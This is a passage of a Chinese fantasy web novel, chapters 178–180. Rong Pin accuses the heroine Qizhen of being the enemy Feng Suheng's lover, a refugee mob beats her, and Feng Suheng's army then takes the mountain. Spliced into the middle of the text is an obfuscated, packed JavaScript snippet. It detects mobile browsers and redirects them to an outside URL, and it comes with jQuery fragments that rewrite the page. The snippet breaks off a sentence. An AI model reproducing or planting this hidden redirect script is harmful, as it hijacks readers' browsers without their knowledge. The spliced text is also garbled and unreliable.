可见左手边还有四间大屋,决定再去问一声,若还是这般不着调就不浪费时间,赶紧走吧。 刚行几步,就见有人从屋中出,倒是穿得齐整,和厅堂中的乞丐全然不同。 男子上前相询:“敢问这位小哥,此山可住着大容的神官?” 容伯舒早上闹一身汗,山遥刚帮他擦把身,端水出来便有人拦。 他抬头一看,见又是山下来的陌生人,但这人身材高大,有风尘仆仆之像,看穿着却不像流民。 山遥仔细瞅了男子面容一眼,手里的盆忽然拿不住,啪嗒掉在地上,任污水溅上腿脚。 他声音都开始抖:“你……你……风……?” 年轻男子稍稍躲避溅来的水,不知这人为何这么大反应,自然也抬眼细瞧,看上两眼他就立刻认出来。 这张圆圆脸是他从小到大的伴读,是陪他一起出结界的伙伴,如今眉眼添了风霜,但他怎可能认不出? “山遥?”男子又惊又喜。 山遥瞪大眼,心头如遭重击。 他迷惑不解,面前这人是他的太子殿下容聘,还是扮做容聘的风宿恒?可风宿恒不是死了吗?他去山下打听过,确证风宿恒已死! 那么现下这人,只可能是……大容太子容聘? 山遥脱口:“殿下?” 178. 第 178 章 没错! 这头戴楠枝斗笠的男子就是少时离经叛道、逃出结界的大容二皇子容聘! 故人重逢,一时惊喜非常。山遥语无伦次:“殿下……你……你……我们以为……以为……” “以为我死了?”容聘几乎哽咽:“皇兄……在此吗?” “在在,大殿下在!”山遥又摇头:“现下不在,但大神官在,大神官在这里!” 说着忙引容聘去下西间。 容伯舒换过干净褂子正靠床头假寐,听有人抢到身前声声激动:“伯父!我是容聘啊!终于找到你们了!” 容聘? 容伯舒睁开浑浊的眼,看清面前泪流满面的陌生人,映入眼帘的面容与记忆相重合——分明是害他整整做了五年噩梦之人! 容伯舒狠狠一巴掌扇上去:“大容亡啦!亡啦!还骗……骗!”一口气提不上来,竟翻着白眼厥过去。 容聘顾不上脸疼,和山遥掐人中,撸胸口,帮他缓气,可人还迷迷瞪瞪,无法正常应对。 “殿下,您慢慢说!”山遥指了指自己脑袋:“大神官殿下受不得刺激。” 容聘坐到床边,注意到容伯舒薄毯下的异样,连问原因,听山遥将这些年遭遇略说了说,其间环视用衣柜简陋相隔多人合住的屋子,指甲掐进肉里,自责甚深。 年少气盛时冲动离家,终因遇人不淑,为国家和亲人带来灭顶之灾,他万死不足抵其疚。 待床上人略微恢复神智,半阖着眼,听了些容聘和山遥的对话,才知面前人真不是那李代桃僵的仇人,而是真正的容聘! 纵使数年未见,到底是他们大容皇室的血脉,他和容绽长得还是像的,只是眉更浓,眼更厉,面相更坚毅,瘦出棱角的面庞上带着一股永不驯服的气势。 再相见,物是人非,容伯舒颤颤伸手:“聘儿……当年为何要走,引来了豺狼……家就没了!” 容聘抹把脸,将容伯舒干瘦的手贴到脸上:“是聘儿该死!害了你们,害了大容!” 容伯舒另只手抚上容聘脑袋,伤怀也或不甘,庆幸抑或痛恨,分不清了,只剩无限唏嘘。 等情绪稍稍平复,才听容聘说当年假死逃脱,这些年一面寻人一面聚集旧部,誓要夺回故土的事。 “这几日郢业在传,说有大容神官住在大荒流,我才闻讯寻来。”容聘道:“这山住不得人了,我带你们下山,我在大容有精兵两千,必能护住大家。” 适才听说他们被人追杀若刀俎鱼肉,皇兄眼盲,伯父断腿,相随者死的死、伤的伤,此刻怎忍再让大家冒险待在此处。 山遥一听他们住在山头的消息已然泄露,心生焦急:“若如此,山上是不能住了,万一有人趁乱摸来……我们不能重蹈覆辙。” 容伯舒又何尝想住这里,当下对山遥道:“去,去,把人叫来。” 山遥立马将典叔、董未、阿陶和成校都唤来和容聘相见。众人见了他都不敢置信,一时房内又是痛哭流涕,相述别情。 可提到下山,董未再不敢说,也不得不站出来道一句:“这是大事,是否等阿绽和阿絮回来商量?” 剩下几人听闻消息泄露也自忧心,可如今生活好不容易安定,家园被流民侵占他们都没下山,现下却话赶话说要走,大家都拿不定主意。最后还是董未道:“或者,和栖真商量一下?” 容伯舒心头又是火气:“关她屁事!啊?我们去留,关这妖女何事?” 众人知有容伯舒在根本说不清,当下应付几句,引容聘出屋说。 容聘一出门便问:“这是何人?叔父为何称之妖女?” 董未生怕他被容伯舒影响,赶紧将他们如何结识栖真、受她大恩的事道出,言辞间诸多溢美之词。 “真要说,她才是山头掌事,我们仰仗她许多。现下阿绽去了戈壁,阿絮还在城中,殿下不妨和栖真见一见,再谋后事。” 听董未这般说,典叔等人也在边上附和。容聘一时对这女子也心生好奇,便随董未往西院去。没走几步,就见那院中出来三个女子,也正往这边来。 董未迎上去:“栖真!正要找你!” 他引为首的女子来到容聘跟前:“殿下,这就是栖真。” 又对栖真道:“快来见见,这位是阿绽胞弟,容聘,刚寻来山头的。” 他原想介绍完大伙儿好回屋细说,谁知两人一打照面,面色皆变。 容聘? 容聘还活着? 这太出人意料了! 栖真看着那张风宿恒曾经冒用的面容,吃惊不已。可细看,面前人却比那时风宿恒化作的样子更成熟,更瘦削沧桑。 她倏忽反应过来,容聘于她该是陌生人,可不能让人看出她的惊讶啊。 便垂眉敛目,口称殿下,对他行了一礼。 “你!”谁知容聘上来一把擒住栖真手腕,面露狰狞,对董未大吼:“她是风宿恒的心上人!你们怎和敌人为伍?” 栖真面色一变,他在说什么? 聂灵鸢上来解容聘手:“休得放肆!” 董未被这意外惊到:“殿下,何出此言啊?这不可能!” 谁知容聘独断,手下抓得铁箍似的,要拖栖真去容伯舒面前分说:“我不可能认错!” 他们在这边拉扯,典叔和阿陶他们也全数围过来。 “我不是!”栖真被这变故弄懵了,竭力挣脱。 “快放开!”颜心想扒开容聘的手,却怎么都拉不开。 “我亲眼见风宿恒天天画你,亲耳听他说画中人是他心上人!”容聘凶神恶煞,全身血液逆流:“你能否认?你敢指天发誓说你不是?” 他这么一说,董未、阿陶他们都不可置信地看向栖真。 “哪来的混子,血口喷人!”聂灵鸢一掌击在容聘胸口,将他击退数步,被成校他们扶住。 “殿下,一定是弄错了!”董未拦在中间:“风宿恒也是栖真仇人!” 容聘红了眼,大吼:“我不会弄错!你们为何不信我,偏袒一个外人?” 听见外间喧哗,山遥推着容伯舒也过来了。 “她就是个妖女!”容伯舒一路听见容聘吼,新仇旧恨交织心头,愤然附声:“我就知道!就知道!她就是个妖女!” 董未护在栖真面前:“殿下,栖真阖府也遭风宿恒所害,也像我们一样颠沛流离,她不可能是风宿恒心上人!” “你们亲眼见她阖府遇害?”容聘扒开董未,恶狠狠指着栖真:“可风宿恒画她是我亲眼所见!她是辛丰大皇子的人,你们不要被迷惑!” 平时容伯舒骂人都无应和,今日容聘在,他自是挺起腰杆呼天抢地:“她是辛丰大皇子的人,你们睁眼看看啊,神明开眼,今日戳穿她的真面目啦!” 聂灵鸢示意颜心赶紧带栖真回花千树,谁知才行几步,就被阿陶和山遥团团围住。 山遥:“说清楚!” “到底是不是?说啊!到底是不是?”阿陶目眦尽裂:“你发誓!你发誓不是风宿恒的心上人!否则天打雷劈,下十八层地狱!” 颜心挥着胳膊,欲将人赶开:“走开!走开!做什么欺负人!” 阿陶平时寡言,至少有礼,此时瞪着栖真仿佛瞪着宿敌,手下没了轻重,将碍事的颜心推倒在地,唾沫飞溅地吼:“说啊!发誓啊!” “这不是论争,是定罪!你们凭什么给我定罪?”栖真想矮身去扶地上的颜心,却被阿陶拽住胳膊,便也急了:“好好说话,干嘛动手!” 阿闯飞奔过来拽开阿陶,护着栖真就走,又被抢上的容聘拦住:“不心虚为何不敢发誓?被戳穿了想逃吗?” “我们在一起八个月了!没有半点情分吗?”栖真指着容聘,不敢置信地环视众人:“就凭他一面之词?” 我就知道她有问题,就知道……山遥嘴中嚅嗫,像触动某根神经,瞬间变了个人,狂暴道:“他是大容太子,他不会胡说八道!是你有问题,一定是你有问题!” “山遥!”栖真愤怒:“相识以来桩桩件件,我何曾害过你们!” “蓝心都被人烹了!不是害?不是害吗?”阿陶咆哮,红着眼过来抓栖真,被聂灵鸢眼疾手快劈在颈间,再次推开。 蓝心……… 一句“是我造成的吗?”要脱口,又咽下,栖真根本没法光明正大吼出这句。 是,是她造成的! 无论有心还是无心。 她既发不了誓说她不是风宿恒的心上人,也没法辩解他们如今的遭遇和她无关。 一时竟天旋地转的愣怔。 要失控了! 聂灵鸢对围在身边的阿闯、焘兴和洪柱急道:“快回花千树!” 这边连声争执厉吼,引来不少看热闹的流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598741|124354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 民。有人喊“她是辛丰大皇子的人”,光这一句,杀伤力实在太大,立时在流民中传开去。 开始还窃窃私语,随着众人拉扯甚巨,流民们见他们窝里反,料定必是那女人有问题,于是也大声指摘。 “她是辛丰皇子的女人!” “辛丰皇子的女人怎么会在这里?” “别管她为什么在这里!狗娘养的皇子,狗娘养的官家人!” 现在不仅容聘他们不让栖真走,便是围观的流民,都自发将栖真他们团团围住。 苏伯站出来,指头恨不得戳到栖真脸上:“你是辛丰皇子的人,你有钱,你还想赶我们走!当权的好吃好喝,就不管百姓死活吗?” 一声“想赶我们走”像燎原的火,瞬间点燃围观者,有人对身后疾吼:“快来啊!有人要赶我们走!快来啊!” 人潮从三峰溪,从聚义堂,从各处围拢来,很快里三层外三层,黑压压的全是人。 后面的人不知发生何事,就听好多人在义愤填膺,在围着骂娘:“辛丰皇子的女人要赶我们走!” “凭什么赶我们走?害我们没了家,凭什么赶我们走!” “辛丰还有没有救了?有没有了?” 栖真反复辩解,但声音全然淹没在沸声里。所有人都要她交代,可没有人真正听她说。耳边充斥的全是指责、定罪、讨伐声。 没有出路,哪个方向都是怒目和唾沫、辱骂和凶煞。 为何会这样? 事情为何变成这样? 聂灵鸢心知要遭,下手再不留情,竭力在前开道,阿闯、焘兴和洪柱三人护着栖真疾步。 “别让她走,不能让他们走!” 根本走不脱,推推搡搡间群众情绪泄闸,彻底失控。 在这片沸烫中,有人凄声尖叫。 是颜心发出的。 她看到阿陶拿着板砖,伺机靠近,对栖真脑袋猛拍下去。 人群被不要命的尖叫镇住,瞬间失声,山头呈现诡异的死寂。 滴答…… 滴答…… 血,从栖真捂着的头上涌出,瀑布流下。 “狗日的!”阿闯抢过阿陶手上搬砖,狠狠给他脑门一下。 “打人啦!” “他们打人啦!” “他们赶人,还打人!” “拼了!跟他们拼了。” 场面彻底乱成一团。 不再止于推搡,随一板砖下去,人的暴虐全数激发,像面对杀父弑母的仇敌,大家对围住的人又踢又打。 聂灵鸢左支右突,想挡、想推、想把人打散,可实在太多了! 这不是武林高手的过招,而是一群手无寸铁的百姓,将愤怒化为你一拳我一脚,变成无所不在、根本无法躲避的暴力。 他们不管是非,尽管发泄,揍上一拳不亏,踩上一脚赚到。大家都在穷凶极恶,凭什么我不可以! 容伯舒跟着叫骂,可很快轮椅被撞倒,将他掀翻在地。无数大脚从他身上踩过,疼得他闷声。 可混乱时刻,谁又听得到他的心声? 山遥看到容伯舒被人推倒,但他被挤远了,根本过不去。 山遥害怕地颤栗……他知道栖真有问题,他也想把她……想把她怎样他根本没想好……但肯定不像现在这样,被那么多人围攻! 阿陶头开了花,那又如何? 再头晕脑胀都不妨碍他混在人群里拳打脚踢。 心痛和憋屈终于有了爆发的契机,他没那么多弯弯绕,他只知道他们落到这个境地是风宿恒害的,他的女人被烹了是风宿恒害的,今日他要让风宿恒的女人死无葬身之地! 常璐从院里跑出来,在错乱的腿缝里,见到被按在地上的栖真。 想叫他们不要伤害沈兰珍。 她喜欢她,喜欢听她说话,喜欢看她画画,喜欢和她散步。 她知道她是好人! 沈兰珍是好人! 好人不该被打,不可以,不可以,不可以! 常璐钻进人群,想把沈兰珍拖出来,可是很快,她就被人群吞没了。 她尖叫,拼命尖叫,可没人理她。 常璐头痛欲裂,眼前不是人,都是披着人皮的兽,她不认识他们,可他们蛮横地打她,踩她。 不知哪来的血糊住眼,她在一片血红的世界里哀泣。 179. 第 179 章 就在山头乱成一片时,一道白光流矢般在空中炸裂。 有流民从山下飞奔上来,竞相呼喊:“有官兵!官兵来啦!别打了,去看看,快别打了!” 暴虐的人群纷纷停手,退开,面面相觑,然后第二拨人也奔上来:“是大容旗,大容官兵来抓我们了!” “抓我们?大容人凭什么抓我们?” “就是!我们犯什么事了?” “不用怕,她不是辛丰皇子的女人吗!辛丰大皇子不就是大容王吗?拿她当人质,大容兵不敢的!” 众人很快反应过来,一拥而上,将几个被狠揍在地的人扒拉开,把他们护在最下面的女子拖起来。 容聘面色几变,上去推开流民,抱起女子,叫了声山遥,让他和自己赶紧一起下山。 容聘想,大容兵一定是来抓他的。 山上有要护的人,他不能一走了之。流民没说错,只要有风宿恒的心上人在,大容兵马投鼠忌器,一定不敢乱来。 鲜血淋漓的聂灵鸢和董未从地上挣扎起身,跌跌撞撞跟去。阿陶、成校、典叔也受了伤,此刻也顾不得了,跟着起哄的流民涌向山道。 ………… 风宿恒在双龙峡盘亘两日,没等来大神王的军队,却等来了钟雄呈上的宫中传书。 他展开一看,浓眉蹙起,待隔日有了计较,又得前方线报,知这次埋伏是不成了,便带袁博御剑而回。却没回万仞山,而是直接去了永嘉道的屯兵所。 袁博不明所以,自然要问问主子什么打算,便听风宿恒道:“以阿畅身份回去也无法解决流民问题,不如演一出瓮中捉鳖。” 袁博见他竟要恢复身份行事,惊道:“大容那帮人怎么办?” “就演给他们看!”风宿恒道:“早和栖真商量过,她见我这般出现,会明白的。” 这就是之前和栖真商定的那场强取豪夺的戏码——消息走漏,他以大容王身份围困山头,以容绽和柳絮回他们性命相挟,逼栖真就范,让她借机谈判,为容绽他们争取利益,形成新的平衡局面。 而他,便能以风宿恒的身份顺理成章出现在她身边。 敌对又如何? 强娶又怎样? 尽管让人以为是他迫她,那对他根本无关痛痒。反正风宿恒是大恶人一枚,不差再添一条,而他的出现只会让柳絮回等人和栖真的关系更为紧密。之后再把一切交予时间!时间会给出栖真想要的调和契机。 这计划本该一年后施行,如今既有流民,不妨将计就计。 屯兵所离万仞山不过五里,风宿恒点三百兵,扯旗上马,带袁博直奔山头。 他们不是奇袭,不想吓到山上,威慑即可。于是离山百米即停,打炮上去。 果不其然,一会儿便见山上黑压压下来一群人。 为首男子在山道口站定,掐着怀中女子的脖颈,与大军对峙。 袁博远眺,面色忽变:“陛下,我眼花吗?那是……容聘?” 早年跟钟雄在外攻城略地,袁博自然认识这位随主子出生入死的小兄弟。不过那时他不知容聘身份,直到风宿恒化其形入大容,他才恍然为何主子那些年坚持带着这位大容皇子。 即便目的不纯,可容聘于他们这边也算有几年同袍之谊。后来跟风宿恒常驻大容,知容聘自尽,也为其命运唏嘘,没想现下竟在万仞山再见其人。 而让袁博张口结舌的不仅是容聘的出现,还有他手里擒着的人。 主母……?! 袁博心里咯噔一下。 不知山上发生什么,也不知容聘为何在此,更不知主母为何狼狈不堪头面覆血。他唯一知道的是,容聘此刻但凡手中用力,让那女子香消玉殒,今天万仞山就完蛋了。 不可能再有一个人活着走出这里! 他吞咽数下,偷偷去瞄骑着高头大马,在前领军的风宿恒。 容聘挟着人往对面目视,待看清这支军队的领军人,大惊失色又寒心酸鼻。 本以为来的只是普通士卒,领兵的最多是个裨将。可眼前黑甲烈烈,风樯阵马,那墨甲金边威风凛凛的打头人,分明是自己梦中故人! 还是起死回生的故人! 曾经那么信任他依赖他,甚至打开心房,献祭般交托所有。他不敢相信他的风大哥会骗他神识取他国家,但那是真的!他也不信这样无所不能的男人会英年早逝,可那也是真的!他爆裂过、悲伤过、愤怒过、遗憾过,但这一刻,看着这人活生生再现眼前,容颜整肃,再无记忆中的和蔼可亲,所有强烈的情绪都来不及起,唯有悲伤,洪水般将他淹没。 是的! 面前这个,不是曾带他周游四方、手把手教他画画、为救他受伤的风大哥。 而是彻底毁他人生,让他背负耻辱终生不得赎的罪人! 容聘惶然,耳听得边上山遥等人大惊失声,明显对眼前一幕同样猝不及防。当年敌军进驻万丈城,他们被俘时见过风宿恒真容。多年来谁敢或忘?那张脸是梦回时的厉鬼,牵动浓烈的仇恨。 受了太大冲击,一时半刻,山上山下对峙,竟无人先出一声。 可他们不出声,不代表风宿恒会等着他们。 他抬手,阻止袁博跟随。黑鬃铁骑缓步,带着威势和强烈的压迫,向他们靠近。 终于,容聘忍不住嘶声:“风畅,你没死?” 他发狠,把手里失去意识的人质掐紧:“来得好!再晚一刻,你心上人要被人揍成肉泥。” 袁博心揪紧,生怕容聘手下无状。 可他更担心他家主子,连他都看出主母状态有多糟糕,明显遭受重创,昏迷不醒,他不信风宿恒没有看到。而一旦主母不测,在她面前柔情似水的阿畅也就没了,风宿恒一旦狂暴,必将万仞山夷为平地。 可自抵达,风宿恒却一言不发。 越不说话,就越可怕。 就在袁博惴惴的当口,风宿恒倏忽勒马停驻。 容聘相信风宿恒已经认出他来,但他骑在马上不置一词什么意思? 继续以手中女子相挟,容聘狠道:“把你的神识挖出来!否则我捏死她!” “不用麻烦,想她死的,是我!” 冷冰冰说完这句,风宿恒动了。 掌中惊现金色巨弓,他缓缓引弓开箭,任箭尖泛着冷冽,直射山道。 众人心头一寒! 这利落无情的一箭,分明射向容绽高高举起的女子! 可这女子不是他心上人吗? 箭若流矢扑面而来,即将穿透结界射中栖真的刹那,被一只手堪堪握住。 那是一只苍白的手,大荒流的烈阳都晒不黑的白! 这只手前一刻还没在那里,下一刻徒然出现,牢牢捏定箭杆,让矢再无法往前一寸。 不止容聘,山道上所有人,都看到了那个从天而降、挡在前面的身影。 此起彼伏的呼声:“阿绽!” 容聘嘴唇翕动,喉头哽咽。纵使愧对,难以吐息,仍情不自禁唤了一声:“皇兄!” 但那挺直的背影屹立如山,没有回头,他挡在所有人面前,独自面对对面烈烈铁骑。 “风畅!” 容绽声音透着寒芒。 “容绽。”风宿恒不疾不徐:“倒入全尽了。” “拜你所赐!”容绽将手中风箭化为齑粉:“因祸得福!” 他的神识早被风宿恒毁去,没想失明后反通了心法得以重炼。这几月因着心境如大江大海突飞猛进,终在大荒流置之死地而后生的修炼中一通百通,入了全尽。 那真是豁然开朗! 纵使目盲,他都能在黑暗中看到神识化作的人形。素人弱,修行者强。所以此刻,他能清晰“看到”百米远的那道天青色人形气焰,威力堪比爆发的火山。 那状态,至少在极灭境! “遇见了,自可叙一叙旧情,但本王今日不为你来。”风宿恒指向容绽身后:“这女人,我非杀不可。” 山道上,典叔、成校、阿陶等人面面相觑,适才他们还将栖真视作风宿恒心上人声声讨伐,怎么到头来,她真是他仇人? 董未抢来,要从容聘手中夺下栖真:“放手!不要再害她,不要伤害她!” 容聘闻言心头一震,不可置信地看向风宿恒。 当日书房看他作画,那画上女子明明就是眼前人,也明明是风宿恒亲口说这是他心上人,可适才他一箭又狠又准,若非皇兄拦住,这会儿人早命丧黄泉。 这一犹豫,手里擒住的人便被董未和聂灵鸢抢下。 容绽问慢他一步回来的阑珊:“栖真怎么了?” 阑珊看了眼被安置在地,正由董未检查的女子,颤声道:“头破血流,昏迷不醒。” 容绽回身厉吼:“你们把她怎么了?” 董未轻探栖真四肢,悲愤不已:“他、他一上山就指摘栖真是风宿恒心上人,引起流民暴动!栖真,是被人活活打成这样的!” 他们在这里乱作一团,却听身后大笑。 众人回首,见风宿恒下马,一步步靠近,像听到什么天大的谬事,笑得肆意:“我心上人?你们以为她是我心上人?” 他表情倏忽转厉:“此女神星降世,狡诈非常,我抬举她,给她机会归降,可她百般抗拒,到处隐匿,一次次戏耍本王。让人恨不得饮其血,拆其骨!今日她要么降,要么死。你们折磨她,倒也不脏我手!” “休想!” 容绽手中现出闪耀的蓝色水鞭,那是他的法武——悬河。 风宿恒不见情绪起伏,看向容绽的目光,仿佛看着不自量力的蝼蚁。 明明是干旱戈壁,可悬河鞭锋所至,取水化盾,聚水为刃,凛冽的冰刃向风宿恒攻去。 但再犀利的刃,到风宿恒身前丈余都被无形的气流挡住。 风宿恒冷道:“雷霆大境输给你只因令弟神识太弱,你既入全尽,当能感受到,你不可能胜我。” 是的,容绽很清楚这点! 别说他入全尽不过两日,神识调动还有窒碍,即 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山道口没旁人了,袁博蹲身,赶紧低问:“有无大伤?” 聂灵鸢发髻凌乱,浑身是土,狼狈不亚于人:“没一处好的了” 袁博心痛难当:“你……你们怎不护好她!” “我该死!” 袁博从怀中取出丹药,塞入栖真口中:“陛下的大补丹,先续命。” 说着让人削下树干,披风搅紧做成担架,小心翼翼抬栖真上山。 风宿恒在空中见下面大局已定,抽身落地,直上山顶。 万仞山的神奇容绽早已了然于胸,知一入山界法术便即失灵,所以不得不每日入大荒流修炼。 现下听到动静,知风宿恒脱离战场往山巅去,生怕他害栖真,自然也跟着落地。幸得阑珊告知众人悉数被押上草甸峰,容绽到了山顶便也不敢轻举妄动。 大补丹的苦涩在嘴中化开,催回栖真一口气。 只听耳边是董未哭求:“我没药了,求你救救她,救救她!” 他像在对谁磕头,求人相救。 铺天盖地的谩骂和凶神恶煞的狰狞终于消停,除董未的哭声周围一片死寂。栖真在死寂中浑浑噩噩,终于听见风宿恒的声音。 原声。 风宿恒道:“不能为我所用,留下何用?” 然后视野里出现了风宿恒的脸,下颏被捏住,耳边传来他冷酷的声音:“还逃吗?” 栖真用尽浑身力气,也只是吞咽一下。 就见他对聂灵鸢一挑下巴:“扶她起来,让她看看。” 下一瞬,栖真只觉自己上半身被微微扶起,看清了周围。 远处是被捆着跪倒在地的山遥、典叔、阿陶、成校、阑珊……以及被黑甲军士押解的上百流民,整个山头鸦雀无声,所有人都用闪烁的眼神看她。 近处还有容绽和容聘。 他们只是站着,没有跪,不知是风宿恒没强他们跪,还是他们死活不从,但两人脖间也有闪着流光的刀刃。 “再给你一次机会。”她见风宿恒指着他们扫了一圈:“答应归降,为我所用。” 栖真嘴唇翕动,想说话,可没力气。 她的不言似乎让风宿恒误会,他起身,回首打了个响指。 利刃从阿陶颈间划过,飚出鲜血。四周是此起彼伏的惊呼,流民们心悸捂眼,不敢看这血腥场面。 可这些人似乎忘了,就在适才,他们做的事一点不比这幕温情。 栖真瞳孔顿缩,再次对上风宿恒的眼。 那双眼里没有半点通融和感情,如黑辰般冷酷,是她从未见过的样子。 她不知哪来的力气,巍颤颤拽住风宿恒袍角:“别……伤……人……” 风宿恒将袍角一抽:“答不答应?” “三个……条件……”栖真艰难喘气。 “说!” “……帮他们消除江湖追杀。”栖真举不起臂,只能抬指,对着容绽他们:“……给身验,允……出入大容。” 胸口太疼了,只好借把力,她再次拽住风宿恒袍角。 这一次风宿恒到没甩开,只是盯着她拽紧他的手指。 栖真强咽下喉间涌上的铁腥,道出最后一句:“……保他们……安全。” 不行了,她要抓不住自己的意识了,可耳边还有风宿恒的嗤笑:“之前要死要活不肯降,如今这点条件就答应?” 他好像踱到容聘和容绽面前,绕着他们走了一圈,话却嘲讽般扔来:“这些人,对你来说就这么重要?” 这个问题栖真无法答了。 口中血流得像伤心泪,她再次昏迷过去。 指上是适才捏她下巴时蹭到的血,风宿恒撵了撵指,看向田园风光破坏殆尽的山头,通红的眼烧着明灭的火,低喃道:“这般答应,便宜你了。” 他云淡风轻一挥手:“给我砸了!” 180. 第 180 章 栖真伤得很重。 昏迷不醒,整日高烧,每次恢复一些意识就是站在山脚,每呼吸一次就在往山上爬一点,这种疼痛超出她可以忍受的阙值,成了让人无法翻越的峻岭。 她害怕意识,只想去死,可没有办法,意识会来找她,开始是一瞬,后来是须臾,再后来……是她完全熬不住的长夜。 强烈的疼痛分布在身体每一寸,头痛到要炸裂、腿上神经抽搐,手肿胀到糜烂,胸口压着巨石,腹部像被掏空……更多时候,所有的感觉交织一片,让人根本分不清哪儿疼。 哪儿都疼! 控制不了身体,连小指头都控制不了,她觉得自己像一具绑缚千年的木乃伊,残忍的是,这木乃伊居然还有意识。 栖真至始至终没睁过眼。 眼皮压了千斤担,肿到睁不开,她也没精力去争这个。 浑浑噩噩的时日里,唯一让人得到些许安慰的是滚烫的吻,有时是脸颊被热布擦过后的轻吻,有时是她疼到蹙眉时落在额上的啜吻;还有时,是手指在腮帮轻抚后,落在下巴、左脸、右颊、鼻梁上的五连吻,像一种仪式,每过一会儿就要来一次。耳边会响起男人的低喃:“真真回来,回来,回我这儿来。” 声音时不时响起,直到一日,吻完后有湿润滴落脸上,又被擦去,说:“真真快回来,老公在这儿。” “……老……公?”栖真终于起了波澜,努力地、缓缓地睁眼。 他居然叫自己老公? 栖真眸光涣散,有一点想笑,可笑意要表示出来都很难,随着眼皮开阖,盛满的泪珠悉数滚落。 她发现自己就躺在第一次叫“老公”的木屋里。 风宿恒说得没错,拜那晚所赐,如今躺在这儿,看清周遭的一瞬,脑中涌入的都是美好。 她甚至想起来,风宿恒真是鬼才,给这间木屋起名“长风破浪”。 长风、破浪。 太神奇了! 当她分神想这些,疼痛居然还能减轻些。 窗外有夜枭啼鸣,暗夜的霜露降在窗棱,室内只有一豆烛火。栖真目光追随着风宿恒,他躺在身侧,大概怕她热,没贴过来,可当他发现栖真睁开眼,立时撑在头顶仔细看。 “瘦……了……”栖真想摸摸他新长出的胡渣。 风宿恒先摸起她,彷徨地像在摸一碰就碎的瓷胎,他眼神浓烈,有千言万语,出口的却只有一句“真真”。 “容、容……怎样?” “别问。”风宿恒摸她的脸:“顾顾我吧。” “你……?” 风宿恒在她脸上亲得毫无章法,薄薄一层胡渣像小刷般戳在皮肤上,有点像故意挠她痒:“被你弄死了。” “我回来……你还死啊?”栖真更想笑,泪落得更凶了:“舍得……我一个呢?” “是你舍得我一个。”风宿恒舔她的泪,像抚慰受伤的雏鸟:“是你!” 栖真真地笑出来,引起胸腔震动,脸瞬间煞白,额上沁出明显的汗珠。 风宿恒越过她下床,拿了布巾给她擦汗,再不敢引她说话。 “我要天天守着你,一步都不离开。” 风宿恒掌心温热,贴着她的脸,用指尖抚慰,让她感受爱,感受身回安全的巢,让她知道残忍的暴力和谩骂已经彻底远去。栖真的心松乏下来,只剩无尽的痛,又迷迷糊糊沉入黑暗中。 再醒来时,栖真问风宿恒:“就你……一个?” 风宿恒屈身跪在床边,喂她喝镇痛药的手一顿:“还要谁?” 没法起身进食,喝点东西只能平躺侧头,让人一点点喂,可侧头又头疼,栖真没喝两口就疼得受不了,转首拒绝再喝,用说话转移注意力:“……颜心呢?” 风宿恒把碗放回桌上,坐到床边欲言又止。 栖真依稀想起那会儿颜心抱住她头替她挨揍,面色一变。 风宿恒按住栖真肩膀,不让她乱动:“在养伤。” 栖真神色黯然,片刻道:“还有哪些人伤了……一并说了吧。”当时护着她的还有聂灵鸢、阿闯和董未,记得聂灵鸢和阿闯都护在她身上。 风宿恒只是道:“都不伤及性命,等他们好了,自会来看你。” 栖真这才放下点心,问:“我呢?” “胸骨皲裂、左腿和右臂断裂,六根手指骨折,脑袋开花,还有各种淤伤。”风宿恒一口气说完。 这些字,这辈子都别想让他说第二次,他实在说不出口,可夹板上得这么明显,瞒也没有必要。毕竟养伤还得伤者自己配合。 栖真确实觉得夹板的数量多得有些出人意料,哭丧着脸:“那么惨啊?” 艳阳都捂不热他眸中狠厉的冷光,风宿恒竭力控制自己,用尽量平和的语气问:“想不想报仇?” 栖真却没注意,她只是惆怅地目视屋顶,半天才道:“想啊。” 风宿恒盯着她:“当时为何不把饕餮叫出来?” 叫出来,就不用他帮她报仇了。凭饕餮的战力,这些平民哪是敌手? “忘了……”栖真又蹙眉叫头痛,风宿恒探了探她额头,贴上一条冷水浸湿的布巾:“还在烧,别开口了,养养精神,听我说。” 他跟她说山头现状。 如今万仞山已由大容军队全数接管,流民被悉数赶下山,全由守军看在山下。 容绽容聘等人还在山上,也被袁博带人看押起来。而长风谷的入口布了岗哨,木屋周围也是五步一岗,不得允许,绝不容人前来打扰。 长风谷? 这名字于别人都是正常,于他俩简直污到不忍直视,栖真听到时又想笑,可实在笑不动。 栖真问:“没把……他们怎样吧?” 风宿恒道:“灵鸢已将经过告与我知,此事皆因容聘到来而起,你不是想报仇?我之前没把他们怎样,现下却不好说。” “别……”栖真哭丧着脸:“我就说说的,否则真要……哭给你看了。” “你这几日哭得还少?我知你泪一流就是醒来,你痛得无法睁眼,无法开口,可眼泪会替你说。”风宿恒愤声道:“我无数次想冲出去剁了他们。” “做……容氏馅儿小笼包吗?”栖真楞楞地看着他发怒,提口气道。 风宿恒万分无语,翻涌的情绪被她一句话彻底打散。 “别去。”栖真这次是真头疼,脑袋针扎似的。得知山上安全,流民安好,容氏兄弟安好,她便没精力想更多,身体被掏空,说几句已是极限。 “别走,别离开我。”再次被疼痛拽入迷蒙的深渊,自由的左小指被勾住,她紧紧回勾,生怕风宿恒像杀阿陶那样真地砍人去。 因疼痛而流的泪都是生理性的,不能叫哭,但隔日栖真却结结实实哭了一场,牵动胸腔的断骨,让她痛不欲生。 这种木乃伊状态,放在现代化医院,自然有现代化办法处理排泄,可如今躺在小屋里孤立无援,身边只有一个风宿恒,让她怎么办好? 风宿恒一点没觉得这是个事,自然道:“不用憋,我帮你。” 栖真狠狠咬唇:“你出去。” 风宿恒摸摸她脸颊,意思让人乖乖的别任性:“你以为这几日谁伺候你?” 栖真抽泣起来,又疼又窘,脸涨红到扭曲。 “我出去了你怎么办?”风宿恒就差叫她祖宗:“快别哭了,痛的。” “叫个婢女来不行吗?”栖真羞耻到无以复加:“不要你……” “颜心不在,只有我了。”风宿恒道:“夫君照顾不是天经地义?” 栖真见他坚持,急出一身汗,大吼一声:“风宿恒,你出去!” 